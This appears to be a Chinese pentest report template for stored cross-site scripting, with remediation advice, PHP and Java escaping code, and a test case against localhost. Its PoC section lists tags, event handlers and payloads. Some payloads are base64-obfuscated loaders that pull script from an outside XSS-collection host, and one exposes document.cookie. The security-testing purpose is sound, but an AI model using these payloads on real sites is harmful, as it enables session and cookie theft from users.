漏洞报告模版 - XSS存储型跨站脚本攻击漏洞

admin 2022年4月20日16:00:50安全百科评论12 views6745字阅读22分29秒阅读模式

3.XSS存储型跨站脚本攻击漏洞

漏洞名称

XSS存储型跨站脚本攻击漏洞

漏洞地址

https://portswigger.net/web-security/cross-site-scripting

https://portswigger.net/web-security/cross-site-scripting/stored

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

漏洞等级

高危

漏洞描述

跨站脚本攻击是一种迫使Web站点回显可执行代码的攻击技术,而这些可执行代码由攻击者提供、最终为用户浏览器加载。不同于大多数攻击(一般只涉及攻击者和受害者),XSS涉及到三方,即攻击者、客户端与网站。XSS的攻击目标是为了盗取客户端的Cookie或者其他网站用于识别客户端身份的敏感信息。获取到合法用户的信息后,攻击者甚至可以假冒最终用户与网站进行交互。

XSS 全称 (Cross Site Scripting) 跨站脚本攻击, 指攻击者在网页中嵌入客户端脚本(例如 JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。比如获取用户的Cookie,导航到恶意网站,携带木马等。XSS又分为反射型、存储型和DOM型。

存储型跨站脚本攻击漏洞是指攻击者注入的跨站脚本长期性的存储到服务器,当任何用户访问 存在跨站脚本的页面时,都会遭到跨站脚本攻击。

漏洞成因

由于动态网页的Web应用对用户提交请求参数未做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),然后未加编码地输出到第三方用户的浏览器,这些攻击者恶意提交代码会被受害用户的浏览器解释执行。

漏洞危害

获取用户的Cookie,导航到恶意网站,携带木马等。

修复方案

通用方案:

1.将重要的Cookie标记为 http only,使javascript中的document.cookie语句不能获取到Cookie。2.输入检查:在构造白名单的过程中需要保证在不影响用户体验的同时,尽可能杜绝一切不必要的输入内容,只允许用户输入我们期望的数据。例如:年龄的textbox中,只允许用户输入数字,而数字之外的字符都过滤掉。3.输出检查:对数据进行html encode处理,过滤移除特殊的html标签。例如: <script><iframe> ,&lt; for <, &gt; for >, &quot for ", 过滤javascript事件的标签。例如: onclick=onfocus 等等 建议过滤关键字为:[1] < 左尖括号 [2] > 右尖括号 [3] " 双引号 [4] ' 单引号 [5] `` 反引号 [6] %百分号 [7](左圆括号 [8])右圆括号 [9];分号 [10]/正斜杠 [11]` 反斜杠 [12] [ 左中括号 [13] ] 右中括号 [14] & 连接符号 [15] # 井号 比如把<编码为&lt;

4.其他参考:富文本过滤库 ruby:https://github.com/rgrove/sanitize php:https://github.com/ezyang/htmlpurifier javascript:https://github.com/leizongmin/js-xss https://github.com/cure53/DOMPurify 更多:

https://github.com/search?o=desc&q=xss&ref=searchresults&s=stars&type=Repositories&utf8=%E2%9C%93

PHP

建议采用以下函数进行实体编码或者过滤特殊字符

strip_tags($str, [允许标签])     #从字符串中去除 HTML 和 PHP 标记
htmlentities($str)               #转义html实体
html_entity_decode($str)         #反转义html实体
addcslashes($str'字符')         #给某些字符加上反斜杠
stripcslashes($str)              #去掉反斜杠
addslashes ($str )              #单引号、双引号、反斜线与 NULL加反斜杠
stripslashes($str)              #去掉反斜杠
htmlspecialchars()              #特殊字符转换为HTML实体
htmlspecialchars_decode()       #将特殊的 HTML 实体转换回普通字符

Java

1.特殊字符替换public static String html(String content) {
 if(content==nullreturn "";        
 String html = content;
 html = html.replace( "'""&apos;");
 html = html.replaceAll( "&""&amp;");
 html = html.replace( """"&quot;");  //"
 html = html.replace( "t""&nbsp;&nbsp;");// 替换跳格
 html = html.replace( " ""&nbsp;");// 替换空格
 html = html.replace("<""&lt;");
 html = html.replaceAll( ">""&gt;");
 return html;
}
2.apache工具包common-lang中有一个很有用的处理字符串的工具类,其中之一就是StringEscapeUtils,这个工具类是在2.3版本以上加上的去的,利用它能很方便的进行html,xml,java等的转义与反转义 org.apache.commons.lang3包有个StringEscapeUtilsStringEscapeUtils.unescapeHtml4(str);3.org.springframework.web.util.HtmlUtils 可以实现HTML标签及转义字符之间的转换。/** HTML转义 **/  
String s = HtmlUtils.htmlEscape("<div>hello world</div><p>&nbsp;</p>");  
System.out.println(s);  
String s2 = HtmlUtils.htmlUnescape(s);  
System.out.println(s2);

测试过程

Cross-site scripting

漏洞验证

alert()已死,print()永生

长久以来,alert()一直被用来证明xss漏洞的存在,但是,从2021年7月20日Chrome 92版本发布以后,新版本已经针对alert()弹窗做了策略调整,同时,由于控制台功能在实际应用系统中偶有禁用,console.log()也不适合作为验证xss漏洞的Poc。在这种情况下,print()成为后起之秀。alert()已死,print()永生。

<script>print()</script>
漏洞报告模版 - XSS存储型跨站脚本攻击漏洞
image-20211226205552537

常用检测Poc

跨站脚本攻击(XSS)备忘录

Cross-site scripting (XSS) cheat sheet

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#onactivate

所有标签:

a
abbr
acronym
address
animate
animatemotion
animatetransform
applet
area
article
aside
audio
b
base
basefont
bdi
bdo
bgsound
big
blink
blockquote
body
br
button
canvas
caption
center
cite
code
col
colgroup
command
content
data
datalist
dd
del
details
dfn
dialog
dir
div
dl
dt
element
em
embed
fieldset
figcaption
figure
font
footer
form
frame
frameset
h1
head
header
hgroup
hr
html
i
iframe
image
image2
image3
img
img2
input
ins
isindex
kbd
keygen
label
legend
li
link
listing
main
map
mark
marquee
menu
menuitem
meta
meter
multicol
nav
nextid
nobr
noembed
noframes
noscript
object
ol
optgroup
option
output
p
param
picture
plaintext
pre
progress
q
rb
rp
rt
rtc
ruby
s
samp
script
section
select
set
shadow
slot
small
source
spacer
span
strike
strong
style
sub
summary
sup
svg
table
tbody
td
template
textarea
tfoot
th
thead
time
title
tr
track
tt
u
ul
var
video
wbr
xmp

所有事件:

onafterprint
onafterscriptexecute
onanimationcancel
onanimationend
onanimationiteration
onanimationstart
onauxclick
onbeforecopy
onbeforecut
onbeforeprint
onbeforescriptexecute
onbeforeunload
onbegin
onbounce
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncopy
oncut
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onend
onended
onerror
onfinish
onfullscreenchange
onhashchange
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadend
onloadstart
onmessage
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmozfullscreenchange
onpagehide
onpageshow
onpaste
onpause
onplay
onplaying
onpointerdown
onpointerenter
onpointerleave
onpointermove
onpointerout
onpointerover
onpointerup
onpopstate
onprogress
onrepeat
onreset
onresize
onscroll
onseeked
onseeking
onselect
onshow
onstart
onsubmit
ontimeupdate
ontoggle
ontouchend
ontouchmove
ontouchstart
ontransitioncancel
ontransitionrun
onunhandledrejection
onunload
onvolumechange
onwebkitanimationiteration
onwheel
'"><iMg SrC=x OnErRoR=print()>{{7*7}}
'"><iMg/SrC=x/OnErRoR=print()>{{7*7}}
<details/open/ontoggle=alert`1`>
<details/open/ontoggle=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzLmF4L2lac3I/JytNYXRoLnJhbmRvbSgp'))>
<details/open/ontoggle=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8veHMuYXgvaVpzcj8nK01hdGgucmFuZG9tKCk='))>
<details/open/ontoggle=print()>
<details/open/ontoggle=self['wind'+'ow']['one'+'rror']=self['wind'+'ow']['ale'+'rt'];throw/**/self['doc'+'ument']['cookie']>
<details/open/ontoggle=self['wind'+'ow']['one'+'rror']=self['wind'+'ow']['ale'+'rt'];throw/**/self['doc'+'ument']['domain']>
<Img sRC=//xs.ax/sGPf.jpg>
<Img sRC=//xs.ax/sGPf/picc.jpg>
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzLmF4L3NHUGY/JytNYXRoLnJhbmRvbSgp'))>
<img src=x onerror=print()>
<ImG sRc=X oNeRrOr=print()>
<iMg SrC=x OnErRoR=print()>
<script src=//aa.es>
<sCRiPt sRC=//xs.ax/sGPf></sCrIpT>
<script src=data:,print()></script>
<script src=https://xss.xss>
<script src=https://xss.xss></script>
<sCRiPt/SrC=//xs.ax/6paF>
<sCRiPt/SrC=//xs.ax/sGPf></sCRiPt>'"><iMg/SrC='x'OnErRoR=print()>{{7*7}}<"'
<script>print()</script>
<svg/onload=alert``>
<svg><a><script>print()</a>

测试案例

这里以反射型xss漏洞为例。

查看页面输出点,可以查看源码,也可以检查,F12查看

一般选取自己常用id Mannix

https://127.0.0.1///engineer/toRegAccount?name=Mannix

漏洞报告模版 - XSS存储型跨站脚本攻击漏洞
image-20211226231743246

输出点1:

<input type="text" class="form-control" readonly="readonly" value="Mannix" id="engineer_name"/>

输出点2:

漏洞报告模版 - XSS存储型跨站脚本攻击漏洞
image-20211226231858573

构造跨站脚本攻击代码

为了避免waf拦截采用console.log(1)

https://127.0.0.1///engineer/toRegAccount?name=Mannix%2527-console.log(1)-%2527
漏洞报告模版 - XSS存储型跨站脚本攻击漏洞
image-20211226232015584

控制台输出1证明存在跨站脚本攻击漏洞。

复测情况

已修复

测试人员

南风向晚

粉丝主动打赏看这里


漏洞报告模版 - XSS存储型跨站脚本攻击漏洞


全系列共105篇,持续更新中

原文始发于微信公众号(利刃藏锋):XSS存储型跨站脚本攻击漏洞

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月20日16:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  漏洞报告模版 - XSS存储型跨站脚本攻击漏洞 http://cn-sec.com/archives/926275.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: